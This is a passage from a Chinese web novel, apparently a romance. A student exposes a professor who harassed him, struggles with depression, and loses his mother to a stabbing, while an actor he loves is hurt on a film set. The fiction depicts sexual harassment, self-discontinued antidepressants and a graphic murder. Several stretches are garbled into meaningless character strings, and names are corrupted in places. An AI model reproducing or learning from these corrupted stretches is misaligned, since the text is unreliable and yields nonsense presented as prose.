还好他有过硬的实力,有无数国际奖项傍身。哪怕舆论缠身、沉冤不雪。也还是比别人有太多太多选择和退路,失败了顶多也就是“默默回去继承百亿家业”。他真的是,得到了上天太多的爱和优待,没有资格颓废。 …… 厉非暂时离开国内,之后几年的事业重心都在美国。 一下离开半个地球那么遥远,曲织帆嗷嗷大哭:“呜呜呜虽然我其实……在法国,两边都离我都一样远,但是,呜呜呜!我好难过啊!”傅斯霆挂下电话后也在床上颓废地躺了半天,手肘掩在脸上,也无声落了会儿泪。之前再无法靠近他,但至少也没有那么遥远。可现在他要去到半个地球之外了……厉非去美国前最后回了恩华基金总部一趟,拿这半年里小狐狸写给他的信。 他拆开最后一封。 柏爷爷: 我被教授骂了。 很重要的晚宾我却因为个人原因迟到,教授或许是失望了吧。可柏爷爷,我真的没想次迟到后果会那么严重。教授整整骂了我一个月,无论怎么道歉都没有用,有时候看他暴踩的脸我都会觉得很可怕。我知道是我错了,可真的一次迟到就永远得不到原谅了吗? 柏爷爷,您一直对我特别好。我很害怕万一有一天我不小心做错了什么,您也会突然讨厌我。 请务必答应我,如果真的有那样的一天,您至少肯听我解释,好吗? 我晚宴迟到的原因,是因为突然得知学长在事业上遭到了非常大的打击和伤害。 我实在气不过和人在网上争辩,才会不小心迟到。这些天我在图书管理找到了爷爷您三十年前出版的传记,发现您当年也遭受过很大的冤屈,还曾参加过整整四年的劳动改造。可这些经历后来爷爷您都能用乐观的口吻调侃。 要是学长能够看到您的传记就好了,他一定能从中获得一些启发和力量。 …" 厉非知道祖父出过传记,他还真没看过。 好在那书基金会图书室里就有,他拿了一本,在去美国的飞机上读了。 书里,厉非第一次详细看到了祖父母经历过的动荡时代,以及后来大半辈子在国家兴盛和壮阔波澜之中的种种艰辛辉煌。 让他再一次清晰感知到,他眼前遇到的这些“磨难挫折”,比起当年的炮火连天根本什么都不是。他拥有的,实在比当年的祖父真的丰盛大多太多,他真不该将自己困在任何狭隘的悲欢。他的眼前还有多么透明的蓝天。 小狐狸说的没错,祖父的传记是一本好书,同样也给了他启发和力量。 谢谢祖父,谢谢小狐狸。 他不会颓废,会努力在国际上证明自己的实力。 45、第45章 傅斯霆多次道歉,郑社稷才终于松口原谅,但又非逼着他亲自再和厦教授登门道歉。 傅斯霆怎么想都觉得强人所难。 业界大佬会搭理一个本科生?根本不会理他吧。 出人意料的是,他鼓起勇气发出信息,厦教授居然很亲切地回了。 傅斯霆晕乎乎坐车过去,厦教授还亲切邀请他进办公室给他泡了茶。 但傅斯霆很快觉察到不对,短短不到半个小时里,五十多岁老男人和他闲聊时靠得特别近,盯他的眼神专注而意味深长。 傅斯霆心里警觉,盘算着用什么借口赶紧离开。 厦教授看得出来,马上开始诱哄:“我听老郑说过你的事,你家境不太好,腿又这样。现在经济也不景气,名校毕业也未必进得了好企业。” “我这个人心软一向不忍心看好孩子在社会上辛苦碰壁”灯光照在他浑浊的眼睛上,“我和你们郑导手里都有很多机会和资源你懂事点,认我做个干爹,以后……” 他说着,手就要放到傅斯霆坏掉的腿上。 傅斯霆脑子轰了一声猛地起身。 他平衡不好,一下直接带翻了桌子,滚烫的茶水撒了厦梅英一裤子,烫得他嗷嗷大叫。头也不回离开那间办公室不到十分钟,郑社稷就打来电话破口大骂。 电话里他颠二倒四,一会儿说傅斯建得罪了厦教授要害他们项目失去合作机会,一会儿又说没了几百万的funding.还说厦梅应英在所有科技大厂都能说上话,得罪了他以后傅斯建在整个行业都别想混。傅斯霆又不傻,一下全明白了。 郑社稷自己确实对男孩不感兴趣,但他可以把年轻的男孩当“礼物”贡献给更知名的教授,两人蛇鼠一窝互相遮掩提携。这么一来他之前的种种PUA行为,也都说得通了。 …… 回到宿舍,白裴皓看见傅斯霆失魂落魄像鬼一样,吓了一跳:“怎么了啊?脸色这么难看。” 听完事情原委,整个宿舍都沉默了。 白裴皓:“卧槽太恶心了太恶心了,那个厦什么上次来我们学校做讲座还一副道貌岸然的样子,原来是这种烂透了的垃圾狗东西!!!”赵冉:“重点是,你有没有留证据?只是摸一下腿告不倒他。那个老奸巨猾的郑社稷是不是也从来没有留下明确文字或语音说让你出去陪客?”傅斯霆摇头,确实没有。赵冉:“那就麻烦了。” “你又没有证据,只手遮天的学术大牛想报复你太容易了。你们别觉得我危言耸听,给你奖学金除名都是小的,说不定直接逼得你没法毕业。”“我早就跟你说让你早点找个靠山。算了,现在也都迟了,做好准备吧。有硬仗要打了。” …… 郑社稷的报复果然来得又快又下作。 先是傅斯递交的奖学金评审材料莫名其妙地“丢失”,又在评审会上被指出“不全”。副院长郑社稷面露精光:“这么简单的材料都做不好,这学生就是没有心,奖学金怎么能给这种人?”和师兄师姐一直做的项目也被叫停了。有师兄为了出国很需要这个项目,哭着怪傅斯霆连累他们。郑社稷还在学院大会上含沙射影地大骂:“有的同学品行低劣,用着几万的电脑还申请贫困补助!”傅斯霆现在算是亲身体会到了厉非那种被诬陷、冤屈不白的感觉。 好在舍友们都很好,努力帮他澄清,还私底下帮他研究对策。 常傲瑜:“死老头现在再恶心人,好在咱们学校领导五年轮岗,等毕业那年他就轮换到别的学院了,做不到只手遮天卡你毕业。”“不然这几年你就躲他远一点算了。不是说让你逃避,只是毕竟之前那学姐手持录音实名举报性骚扰都没告赢,学校最后还是选择了保郑社稷。” 我峡也是大学教书的,她说这里面学校也是有不得已一那种有头有的学者,走到那个名牌大学都是会被哄的金字招牌,哪白学校真把私公他开除,别的大学也会把人立刻聘走,老色浪根本得不到任何实质性您罚。"“所以学校一般倾向于不处理这种人,只要他们不明确触犯国家法律,哪怕为人师表但私德有亏,一般也都是轻轻揭过了。“ 白裴皓:“但如果,咱们把事情闹大,给学校上压力呢?实在不行哥几个陪霆上天台演一场,舆论有了事情就好办。” 赵冉:“没用的。又没有任何能钉死老色魔的实质性证据,把事情闹大反而给自己惹麻烦。” 傅斯霆:……" 傅斯霆:“那如果,别人手里有证据呢?”“我的意思是,我总不可能是唯——个受害者吧?” 思路一旦打开,受害者就很好瞄准。郑社稷手底下研究生大都样貌平平,只有一位研二的师兄是个愁眉苦脸的帅哥。 傅斯霆第一次见他,就觉得他长得好但精神气很差,感觉要死不死的。他私底下去找了师兄。果然师兄是受害者,精神已经快要崩溃了。但整整三年对方都很小心谨慎,每次见面都在学校没有监控的办公室。师兄现在又没有任何实质性证据,也没有勇气举报。 …… 傅斯霆不放弃。 大二下学期,人生再度成了他的战场。 好在财橱大时一直用他做文件助理,布西了海工作 傅斯面修的探 样在洁网的 利中守找琳丝马迹,阳程的服的记录 项旧经费、学术论文 他限起些资料找到了很多人,有当年磁斑社概u的学姐,也有E绝代弓论文被卡业的学长 但收集证据的过程仍旧异常艰难。 整整年,傅斯霆邮箱被黑,电脑中毒,学校里的一切荣誉、奖学金和勤工助学统统被取消。有的证人不肯见面,有的临时反悔,有的害怕报复,有的直接被收买倒打一耙…… 无数阻碍,无数人各种各样的嘴脸。战斗的代价越来越大,越来越沉重,一如高二那一场恼人的、漫长的、无休无止的官司重来一遍。 他开始越发疲惫。 看不到希望,学校里郑社稷处处找茬变本加厉,厦梅英也时不时派人威胁。渐渐,傅斯霆又出现了之前在家里的症状,吃不下饭,早上吐一次晚上吐一次,只有胃酸。后来连他自己都无数次怀疑,到底还有没有曙光到来的那一天。 但那一天还是来了。 整整 年的努力,他终于还是艰难地收集到了足够的证据和证人。郑社稷学术造假、性骚扰、贪污经费……桩桩一件件,都清晰地呈现在学校调查组面前。 郑社稷依然试图狡辩,但脸色却越来越苍白。 恶人是不会反省的,他整个人面目狰狞恨恨冲过办公桌就想打人:“我对你不薄,你就是个白眼狼!” 从调查会议出来,傅斯霆就上了天台。 当然他没真的打算跳,室友们也配合默契,该拍视频的拍视频该一起演的一起演。 视频在各大院校的班群和网络散播,舆论一片哗然,在悠悠众口的压力下学校再也无法慢吞吞拖着,火速公布了调查结果。 郑社稷被开除,学术头衔被撤销,还面临刑事指控。 厦梅英也随着舆论被人起底,接连出现了十几个受害者举着身份证在网上曝光他。德高望重的老教授真实嘴脸暴露,如今晚节不保、人人喊打。那天傅斯霆又去了一次图书馆顶楼,夕阳的余晖洒在校园里,给一切镀上一层金色。 手机上收到很多当事学长学姐们的感谢信息,无数陌生人加油打气、祝贺他一人搬倒两大禽兽,为学术界清除毒瘤,功在千秋。傅斯霆也并没有觉得这一年的努力不值得。很值得,但是胜利的喜悦还是很快被疲惫取代。 他的身体好像有点被这一年的战斗拖得过于疲惫。近期开始出现了神经衰弱的迹象,晚上很难入睡,白天又睡不醒。吃药喝咖啡和茶都完全不管用,时常神经性胃痛。 同时他也变得很没有胃口。 或者说,那也不叫“没有胃口”,他是整个人时常没规律地在吃不下和暴食之间循环。有时候胃在叫着饥饿,但嘴巴就是意兴阑珊。或者是反过来,拼命吃个不停,但胃里已经涨得很难受了。他就这样浑浑噩噩过了好几个星期,曲织帆又回国来找他玩。他打起精神陪她到处逛。 曲织帆:“真心疼你遇到那么恶心的老贱人,能干倒他们真是太厉害了!反抗强权之光!” 他们那天一起逛了街,还去了动物园,很开心。 可曲织帆走的时候却突然正色:“傅斯霆,你要不要去医院看看啊?” “我觉得你不太对劲,状态和一年前很不一样。你要不要问问身边朋友。如果他们也觉得你不太对,真的就早点去医院看看吧?“ 傅斯霆回去就问了室友。 他以为他们会说“哈哈哈你哪里有不一样”,结果三个人给他的反馈居然都是他最近给人的感觉是和之前不一样。可具体哪里不一样,又没有人能明确描述,反正室友也都支持他去医院看看。去医院的前一天,傅斯霆提笔想要给柏爷爷写信。 他这一年太压抑了,以至于竟然整整一年都没怎么再写信过去,好像一只突然忘了爷爷的小白眼狼。他希望爷爷不要难过。 更不要生他的气。 …… 这一年,厉非在美国片约不断,很忙。 美国的山跟国内的又不太一样,全是石头,给人一种孤寂荒凉的感觉。高强度的工作又是与世隔绝的片场,偶尔心情灰暗,他都会习惯性看看钱夹里的小狐狸。 日复一日这么快,小狐狸也快念完大三了吧… 最近他没有来信。 应该是在准备走上社会,很忙吧? 厉非并不介意渐行渐远,他只是衷心希望走上社会后的小狐狸,不要很快也变得面目全非。 但很难吧。 厉非垂眸笑了笑。 他年在美国的名利场里,看到的离诺故事比之前更多,那么多人稻有成就就开始为所欲为的监落,另些人则是遣遇一点生所就要死要活,酗酒物成难的比比皆足,有人无底线博眼联确到了钱,有人关磁外别人最后自己把自己通疯,现实往往很让人难受。 人们明明在不断长大、不断成熟,却好像又一个个越来越很难看清自己的真实模样。厉非庆幸自己一直没怎么变。但同时又越来越难对周遭的人性抱有奢望。 …… 傅斯霆去医院一开始挂的是内科。 他以为自己应该是肠胃疾病或者哪里失调,没想到听完他的症状后,医生沉吟:“你不如先去精神科做一个筛查。” 傅斯霆: " 他以为他的精神没问题,但是检查结果却是中度,接近重度的抑郁。 医生给他开了百忧解和一些辅助药物。傅斯霆吃了,但副作用有点太大。他之前只是夜里睡不着白天睡不醒。吃了以后直接白天晚上都不能睡了。他那时候不知道抑郁的就诊规范是不可以私自断停换药的。他吃了俩礼拜,受不了,把药扔了。 …… 保险事件后,傅斯霆和江月萍的关系就很疏离。 就连大学录取通知书寄来的那天,江月萍也只是淡淡地看了一眼。之后傅斯霆收拾行李去学校,她也没帮忙。直到在寝室打开行李时,傅斯霆才发现箱子里被塞了几包家乡特产。包装很仔细,却没有一句话。后来傅斯霆的大学生活忙碌而充实,两人只偶尔通电话。再后来,江月萍也偶尔给傅斯霆发一些养生文章,傅斯霆每次都机械回复"收到"或者"好的"。 每年寒暑假回家,彼此都是客气话少。 画国大二国限,有天月肺小心宽和U了高量 起的,t区专电TC8,给了电 天网的名 才千多平,有+的 回万百五+平0阳 厅环称件也都不锚,石这安民区下,响则后 她于斑向白E08,不用内向品家租用了. 她支支吾吾,因为她手里存款实在不够。 “小霆,你是不是还有点钱啊?妈这次真不是头脑不清……你可以去社区问的,机会实在难得。” …… 傅斯霆去社区和房管局都认真问过了,确实机会难得。他跟江月萍说,房可以买,但房本必须写他名字。江月萍也没意见。她手头的一点存款也全给了儿子凑上了,正好勉强够。福利房买下后,娘俩就立刻搬了进去。 他们终于有了自己的家了!只是家里存款又清零了,娘俩手里都一分现钱没有。 好在傅斯霆开学是大四,学分已经在前三年修完了,这一年除了毕业论文之外也没别的事,并不急着回学校。他干脆就趁着暑假找了个班上—有个离家近的培训学校正在招聘,他用Z大在读生的身份,轻轻松松应聘上了教培老师的岗位。 银色笔记本曾说过,他在大学时兼职做过教培。 傅斯霆之前没出郑社稷那个破事之前,还一直想不通—他既然有奖学金、学校的兼职和爷爷的存款,应该是足够生活的,他为什么又会出来干教培?结果现实又和笔记本的内容在离谱的地方对上了。这种荒谬的巧合,倒也让他默默觉得安心。 笔记本上说,他干教培如鱼得水。事实也是如此,傅斯霆天生能吃这碗饭,上课马上受到学生们的喜欢。 他第一个月作为新手老师只被排了两个班,第二个月就因为专业水平得到学生和家长认可变成三个班。第三个月,更是因为口碑好复课率高,直接满配五个班。那段时间傅斯霆状态不错,每天就是上班、挣钱,来不及想别的事情,睡不着的情况都减轻了很多。他以为可能多工作、忙起来就是抗抑郁良药。 他并不知道,其实那个时候他的病症根本没有得到缓解。只不过是他的身体在“再不赚钱就要饿死”的生存危机下,主动做了出一些平衡调节,帮他暂时藏住了病症。 可惜才刚攒了大几千,江月萍又因为血糖水平飙升而住院了。 眼看着钱又要捉襟见,那几天傅斯疆在家里收拾换洗衣服却突然翻出来些日保单,正是他妈当年被银行小哥骗看买了的那些。他认真读了一下条款 按照保单内容,他好现在的病其实可以全额略付! 结果港城那边还真赔付了,虽然过程拉拉扯扯有点糟心,但确实赔了。 等江月萍病情稍稍稳定后,傅斯霆也完成了教培学校的周期课程,回到学校准备毕业设计。 明明,最难的都过去了。 房子也有了,他妈住院也有保险公司兜底,他卡里还有兼职多赚的七八千存款。 可为什么,他回学校后竟然……只是每天醒过来,下床,走路,就那么地沉重疲惫,几乎要了他的命。 很 以后傅斯霆才从心理医生那里知道,突然的无所事事又没有生存危机压着,如果是正常人的话状况当然会变好。但对于抑郁病人来说,没有任何东西吊着只会让人的状态掉得更快。 大四那年,室友都回家住了,寝室空荡荡就傅斯霆一个。他整个都很空洞,没有兴趣,灰暗又懒散。动不了,起不来床。 窗外雪花飘落,大四冬天的第一场雪来的很早,十一月初就飘落。 他呆呆看着那雪,抬起手肘遮住眼睛,其实没什么难过的情绪,却抵挡不住滚烫的泪水顺着面颊滑落。 他突然发现,一晃六年已经过去了。 六年前的除夕,他做了手术。肿瘤患者进行根治性手术之后如果能活过五年,就很有希望实现长期生存。 那他现在算是生存下来了吧,真好。 可是好累…… 好累啊。 他紧紧咬着牙,颤抖的细碎哽咽被努力克制,只剩下无声的颤抖。 那天傅斯霆不记得他最后是怎么睡着的。 他梦见了很多事情。 梦到小时候冰冷的家,家里的水管是暴露在墙壁外的,锅是变形的。他梦见江月萍一次次拖着箱子离开,梦见面目模糊的男人凶神恶煞地虐打他们母子俩。 然后,他梦见明亮的大厨房里黑色大理石的水台,厉非坐在台子上,微笑瞧着他:“宝贝好会做饭啊,每次做的都好香。”他凑过来,凑近他的锅铲:“海鲜炒饭给我尝尝?” 傅斯霆被那笑容迷惑,吹了吹锅铲,就这么不像话地喂过去。一大口,厉非吃得很满足,晨光明亮落在他身上。他梦见夏天的蝉鸣和雷阵雨,温暖的电热毯,两个人一起躲在被窝。跟厉非在一起永远不会冷。可他又一次从那个梦里醒来,窗外仍旧飘雪。京市的冬天五点多就天黑了,仍旧很冷很冷。……+—月,他真的很想去一下.……厉非所在的地方。 哪怕只是远远看他一眼也好。他真的真的迫切需要跟他碰触同一片空气,才能重新喘息。 厉非在美国的这一年多,国内关于他的新闻不多,乍一看好像陷入了沉寂。但其实他在国外发展得特别好。除了好莱坞大导演的科幻作品马上就要上映,也成了时尚圈的新宠。 厉非上周短暂地回国了。 一个圈内力挺他的歌手姐姐开演唱会,诚邀他去做嘉宾。 就在两天后,就在京市。 演唱会当天下了雨,傅斯霆撑着伞来到场馆外。除了没有买到票的歌手姐姐粉丝,还有很多厉非的粉丝都来了,大家都在雨里撑着伞远远等着。傅斯霆在雨中一直不断被搭话。 因为他撑的那把墨蓝色的宇航伞—曲织帆送他的,是厉非正在美国正在预热的科幻电影的限量纪念品,伞下面还挂着一个厉非角色的太空服塑胶小人。她通过做网红的关系才努力摸到了两把,都不忘给傅斯霆留了一把。 “你好厉害啊,居然能拥有这把伞……!”无数粉丝小心翼翼靠近,“可以和你的伞合个照吗?小宇航员可以让我拿在手里拍 张吗,拜托啦,谢谢你呀!你人真好!”大家很羡慕他。但其实他们身上戴着的很多或官方或自制的厉非周边,傅斯霆也默默想要。 厉非离开那么久。 爱他的人都很想他。 演唱会结束时,场面多少有些失控。虽然是别人的演唱会。但那么多粉丝专程为厉非而来,他还是出来跟他们打了招呼。漾漾细雨落在他的发丝。厉非更高挑了,也清瘦了一些,有一种之前没有的温和。明明这年春天,厉非也才刚满二十一岁而已。但有那么一瞬间,傅斯霆仿佛在他眼睛里看到了那梦里才见过的,不再那么犀利而刺人的,沉稳、温柔又包容的气质。 他僵住,一时不能动弹。 他真的觉得,厉非越来越像他梦里那个人。 很快,厉非微笑给所有人致意,越来越靠近走向他身边。 有时很多过往闪过脑海。傅斯建旭起很多年前昏黄的小台下,他从杂志里小心翼翼裁下海报,想起年少时的他站在车水马龙的桥上看到的整面楼的橙色广告。想起学校广播站下的天台上的夕阳之下的歌吉。 一个人只依靠着另一个人的存在,靠着他散发在这世界上的光和热就能够活下来吗? 这听起来实在是一件很荒谬的事情。 可他确实好像很大程度上,是这样才能够好好地活下来。 傅斯霆缓缓抬起眼,看着近在咫尺的厉非。有一瞬间他甚至觉得,他也未必一定要厉非是他未来的爱人。只要厉非能够存在于这个世界就好。 哪怕不能碰触,可如果能够像现在这样偶尔靠近他,感受他的存在。也就已经很好很好。厉非跟这边粉丝打完招呼,继续往前走,傅斯霆被拥挤在人群中,眼眶发疼。就在那个瞬间,突然残留在原地的淡淡柑橘墨香沁入脑海。 他整个人震悚。 那是他在那个遥远的梦里,无数次被包裹的气息。 “厉非……” “厉非!!!!” 他失声叫出,声音明明淹没在粉丝们的欢笑和尖叫中。但厉非似乎听见了,回头看了他一眼,有一瞬若有似无的视线交汇。 茫茫人海,那是他的星星第一次短暂地照耀他。 …… 那场雨一直下了一整天。 一直到深夜,才终于渐渐转小,淅淅沥沥的。傅斯霆近来一直深夜睡不着,青旅旁边就是白天的演唱会场馆,场馆后面是一座半山公园。他大半夜的鬼使神差爬起来,就开始沿着健身步道围着那巨大儿空无一人的公园,漫无目的、失魂落魄地走啊走。他就这么安安静静走了一个半小时,幻想着能不能有一丝厉非身上沾染的香气从演唱会场馆被吹到这公园里。 但怎么可能有。 走到一半雨停了,他坐在长椅上歇了一会儿。隔天早上才发现,他把珍贵的周边雨伞落在那了! 傅斯霆赶紧去找,可清早长椅上空荡荡的。 他不甘心,又跑遍了整座公园的所有长椅去找,都没有。 傅斯霆并不知道,昨夜就在他离开公园的半小时后,厉非从健身步道跑过—他是每天会规律运动的人,那晚有点倒不过时差,想着反正是大半夜到公园夜跑应该不会遇到人。 雨后公园空气也好,他跑得很爽。 唯一麻烦的是,天气预报好像不准,他跑了二十分钟后,淅淅沥沥又下起毛毛雨来。 他正想该往哪躲,随即一眼就看到不远处昏黄路灯照映着的长椅上,安安静静躺了一把雨伞。 "…" 厉非觉得简直神奇,这又不是游戏男主角在路边随手捡道具。 什么好心人这么巧掉了一把伞在这,专门给他用? 更神奇的是他撑开伞,伞下面坠着的坠子居然是他半年前刚拍完、很熟悉的小宇航员造型,一晃一晃的。 是自己的粉丝!!! “…”厉非默默为那个不小心丢了伞的粉丝难过一秒,但同时压抑不住唇角上扬。 他真的好像一直都能被粉丝隐秘而长情地爱着。即使离开了那么久,今天依旧有那么多人来看他、爱着他。 他收藏了那把伞,默默衷心希望。这位粉丝能够耐心等到他满载荣耀回归的一天。 他会努力,一定会回来的。 一定。 好累…… “…” 46、第46章 那场见面回来后,傅斯霆短暂地又被成功续上了命。 尽管每一天还是无尽疲惫,但他努力逼自己振作,一次次咬牙从床上爬了起来。 如果人生是一场注定会被杀死无数次的游戏,但通关奖励是厉非的话,那他真的……愿意冒着枪林弹雨,再无数次冲锋陷阵。 那一个回眸,一缕太熟悉的柑橘墨水香,让他再度愿意微茫地相信,他是真的到过“未来”。 而且。 而且其实,银色笔记本里记下的那些—克服癌症,接受资助,考上Z大,兼职教培。 不都—实现了么? 唯独还没实现的,无非就是他拥有自己的事业,以及二十二岁大四这一年的春天遇到厉非。 他现在其实已经满二十二岁了。 距离春天,只剩几个月。 这是多么有希望的一件事!!! 真的,这是一件多么有希望的事情啊!六年后的第一次初遇,他已经快熬到了啊! 曙光就在眼前。 所以他总不能是现在这种颓废难看的样子见厉非吧? 傅斯霆去看镜子,现在的他颓靡消瘦,精神状态很差。他痛定思痛,开始咬牙逼着自己吃饭,逼着自己打开电脑。 笔记上说他研究了独立游戏,挣到了第一桶金。 傅斯霆:“… 但整个大三,他因为郑社稷的关系,对整个计算机学科都产生了厌恶,以至于专业课成绩虽然还不错,但他事实上已经有好一阵子没摸电脑了。在出这档子事之前,他是在同学中水平不错、也有天赋。但大学这么几年,他搞了建模,搞了很多电脑程序和算法,却从来并没有尝试过制作游戏。 不能这么想…… 傅斯霆给自己加油打气,之前没弄过,现在开始弄不就行了? 说干就干。 傅斯霆白手起家,开始上各种游戏制作的相关论坛一个个帖子看,从头一点点学。 他在上面问了很多问题,有不少人好心解答,也有人嘲讽他:“纯小白新人就别弄了吧。做游戏没那么简单的,乖,早点放弃。”傅斯霆感谢柏爷爷给他买电脑,好几万的顶配电脑即使从大一用到大四,仍旧有不错的性能,复杂的各种大型软件全部都还顺利跑得动。 那年冬天过年,傅斯霆早早回了家。 他必须早点回去,因为还有一把达摩克里斯之剑悬在头顶上—笔记上说这一年的二月一日,江月萍会遭遇车祸。傅斯霆默默想了各种预案,万一那天江月萍执意要出门……他连绳都买了,想实在不行就直接把她捆起来锁屋里。而那一天到来之前,傅斯霆多半的时间还是得每天埋头加紧制作他的小游戏。 他以前的一些技能派上了用场。 比如学古他时在音乐社团学到的编曲,同学好心帮他下载的VOCALOID类软件。还有他本身就擅长的简笔画,以及在绘画社团学到的上色技巧。加上他本身又精通计算机编程 他在论坛上开启了一个长期游戏制作计划贴。 刚开始很多人看衰:“你这不行,设定太平淡了,这不就是普通八十年代RPG吗?火不了的。”“请个专业画手吧真的大哥,简笔画谁会想玩啊?” 可傅斯霆哪里请得起画手,只能自己画。画得好不好仁者见仁,总之就是埋头连天加夜地做。累是真的累。加上他因为精神状况而夜里睡不着白天睡不醒的糟糕状态,日常就是晨昏颠倒。那种疲倦难以形容,而且他总觉得自己这几年体力下降得厉害以前明明炸鸡店兼职四个小时都可以不断炸的,怎么现在才敲两个小时的键盘就常常累得喘不过气,甚至要瘫倒在床上休息 好在,至少这个寒假,他和他妈相安无事。 五+平的福利房被江月萍装饰弄得很有“家”的气息,她真的很喜欢这个小家。连带着人都轻快了起来,最近也用擅长的织毛衣技术接了一家小店的兼职勾毛线花的活计。 她看傅斯霆瘦了憔悴了,倒也开始每天都换着花样烧好吃的给儿子,又有一点母慈子孝的感觉。 一月末的某天夜里,傅斯霆又做游戏做到凌晨两三点。 大半夜的,却突然隔着虚掩的门听到江月萍微弱的声音:“小霆,快叫救护车……我要,要不行了。” …… 江月萍又住院了,糖尿病酮症酸中毒,还好抢救及时。 几个小时后血糖下来了,但还得留院观察。新请的护工大姨人挺好的,也很朴实。 “崽你回去睡吧,你看你这黑眼圈。” “你放心,你一天两百块请了姨,姨肯定把你妈照顾得好好的。姨夜里睡眠浅,你妈喊我一定听得到,放心吧。”傅斯霆知道她好心,憔悴笑了笑。他并不是担心大姨照顾不周,可二月一日越来越临近了,还有五天,他一点不敢掉以轻心。那几天,他干脆每天带着电脑常驻江月萍病房,江月萍睡着他就在旁边继续工作。 五天里,江月萍并没有表达出任何一点想要离开医院出去转转的迹象。事实条件也不允许,她血糖太不稳定了,时高时低站起来就头晕,每天都要打针吊水瘫床上。 二月一日凌晨,傅斯霆两眼通红、没有任何睡意。 白天,江月萍早上血糖还挺好的,餐后又飙升了。她自己都委屈得哭了起来:“我这就吃了一个鸡蛋,一点青菜,都没吃碳水啊。怎么这样不讲道理!” 她又被开药输液。好几瓶,慢慢输着。 下午她的血糖重新稳定了,换成了傅斯霆饿得一阵阵发抖。 他这种俄完全是神经性的,自从半年前开始厌食和暴食的循环,他的胃就经常抓不到任何规律。比如今天,他明明就吃过午饭了,也吃的不少。但现在下午四点多就又生生饿得发慌。 他最终受不了了,站起来,后背都是汗。 “妈,大姨,我出去吃碗东西,大概半小时回来。” 他无比憔悴地求江月萍:“妈,我回来之前,你能不能答应我,无论如何千万别出医院?” 他又求护工大姨:“姨,拜托你看着我妈。无论如何我回来前,别叫她离开医院半步成吗?我给你加一天工钱。” 江月萍听他这话说的,嗤笑出声晃了晃自己还在吊水的手“我出去,去哪?你也不看看我这还打着吊针,之后还有两瓶水呢。这血糖忽高忽低的起来走半步就头晕,外 还那么死冷的刚下过雪,我去千啥?” 倒也是…… “小霆,你放心,”江月萍说,“你妈现在有地方住、有工作干。都稳定了,不会像年轻时那样了。”“等出院以后,咱娘俩一切都会好的。” …… 傅斯霆快步走出医院,这一天气温极低,之前下的小雪确实已经结成薄冰。刺骨寒风吹进脖子,非常冷。太冷了,暴食的欲望骤然更加。 傅斯霆走了几步,慢吞吞抱着胃在路边蹲下来。半晌疼痛缓和,才重新站起来。他摇摇晃晃到了医院斜对面小巷子里的一家面馆。坐下等面的时候,他拿出手机,瞳孔紧缩。这一天的头条写着厉非片场坠马,生死未卜。 他浑身骤然冰凉彻骨,指尖颤抖着打开视频。视频只有十几秒,拍得很晃,医护人员抬着担架上救护车的画面,一切一闪而过,什么都看不清。面上来了,热腾腾的氤氲,傅斯霆一动不动。 他就只顾机械性拼命翻拼命翻,视频发布已经过去三小时了,没有后续的消总,评论区不是析福就是责怪刷阻,谁也不确切知道他究竞怎么样了,各种各样不可信的消息,有的说只是皮外伤,有的则说得很严重活成了。 ……." 眼泪夺眶而出。 他想过,也许笔记本上的都是梦,也许他拼尽努力还是无法到他身边。但他从没想过,如果这个世界上没有厉非了呢? 有瞬问他才发现原来他之前的日子已经够幸福了,那样的日子原来也是-种身在福中不知福。真的,能远远看着他已经很好了。即便辈子到不了他身边,他存在在这个世界上,其实也已经 足够好了。 面馆老板看他一直掉眼泪,也不知道咋了。 但毕竟医院附近各种生老病死人间悲剧,他又默默给傅斯霆切了一小碟牛肉送过去。傅斯霆最后和着眼泪吃完了一大碗面,撑得难受。说只离开半小时的,结果已经一小时,他又忙赶着回医院。医院门口拉起了警戒线。警车的车灯红蓝色旋转着。“杀人了,里头杀人了!”“怎么回事,医闹吗?” 无数骚乱的人影中,纷杂的声音,傅斯霆在警察旁边看到了那位护工大姨。 她身上沾着血,脸上有种吓惜了的茫然。看到傅斯霆终于回了神,结结巴巴跑过来:“刚、刚才,有个陌生的男的来病房找你母亲,问她、问她要钱。”“你母亲让他滚,谁知道他突然就掏出刀,谁也没想到啊!太突然了!你妈连跑都没来得及跑,叫都没来及叫一声,就、就已经……” …… 凶手是江月萍的上一任丈夫。 他前阵子出狱以后又去赌,输得精光后骗家里人卖了房凑钱替他还债,但还债的钱又被他没有自制力地输完了。一无所有后他整个人都疯了,也不想活了,就想拉个垫背的 起上路。 其实那个倒霉鬼也未必一定就是江月萍。 可偏就那么巧,他前几天听到熟人随口说了一嘴,我姨住院跟你前老婆一个病房。 警察告诉傅斯霆,凶手扎了她五十多刀,最后是力尽坐在血泊里被带走的。他们说他最好不要去看尸体了,很残忍。 但傅斯霆还是想看她最后一眼。 他不该看的。 尸体脸上尤其好多伤口,严重变形,一点也看不出原来的样子。 傅斯霆当场就崩溃了。 …… 明明在那个梦里,他清晰记得,二月一日,车祸。 日期是对的。 可江月萍却被人杀了,不是车祸。 傅斯霆是在医院长椅上醒来的,浑身冷汗。头很疼,心跳慌乱。各种可怖的念头一起占据脑海,他不敢细想,只颤抖着手指打开手机。更多关于厉非坠马的新闻出来了,有人拍到了他受伤的腿。其中一张特别狰狞,整个小腿全部划开,露出骨头。 可是。 可傅斯霆明明记得,十二年后的那个梦里,厉非身上除了胸口那朵玫瑰,是没有别的明显伤痕的。在游乐园的过山车上,他看厉非那么淡定,还特意问他拍电影是不是比这惊险,有没有受过伤。“没有,不会,”厉非微笑,“现在大多都是特效了。” 梦里厉非的腿上没有任何伤痕,他很确定,他看过他每天穿着睡衣的样子。 傅斯霆的脑子混乱着,这时候终于有了官方消息,厉非的青梅洛芮安出镜了:“给关心厉非的朋友们报个平安,没有生命危险,伤势也不重,还请大家不要相信谣言。”“他现在还在修养。稍后休息好了会第一时间和大家见面。请大家安心!” 采访灯却还在一直闪,有的媒体不合时宜地继续追问:“听说洛小姐第一时间就赶来了,一直陪在厉非身边。”沈导护着她,要带他走。那人又问:“沈导,网上一直传闻洛小姐是您早就认可的儿媳妇,两家订婚在即,您对此有什么回应呢?” “"” 关于门当户对的富家大小姐青梅洛芮安和厉非的传闻,这几年网上也一直都有。比起高子斐那种捕风捉影的CP,嗑大小姐和竹马影帝的人一直觉得这一对要甜得多、真得多,也要稳定得多。 只是傅斯霆一直视而不见。 因为梦中那个家里,整整五面照片墙上就没有一张里有洛芮安的影子。所以,哪怕网上那么多她和厉非感情不错的证据,傅斯霆一直都当她根本不是排的上号的存在。 可是。 可是洛芮安的存在,明明就很重要且不可忽视。 厉非受伤她第一时间探望。沈明德也确实一路像护儿媳妇一样护着她。 “” 为什么。 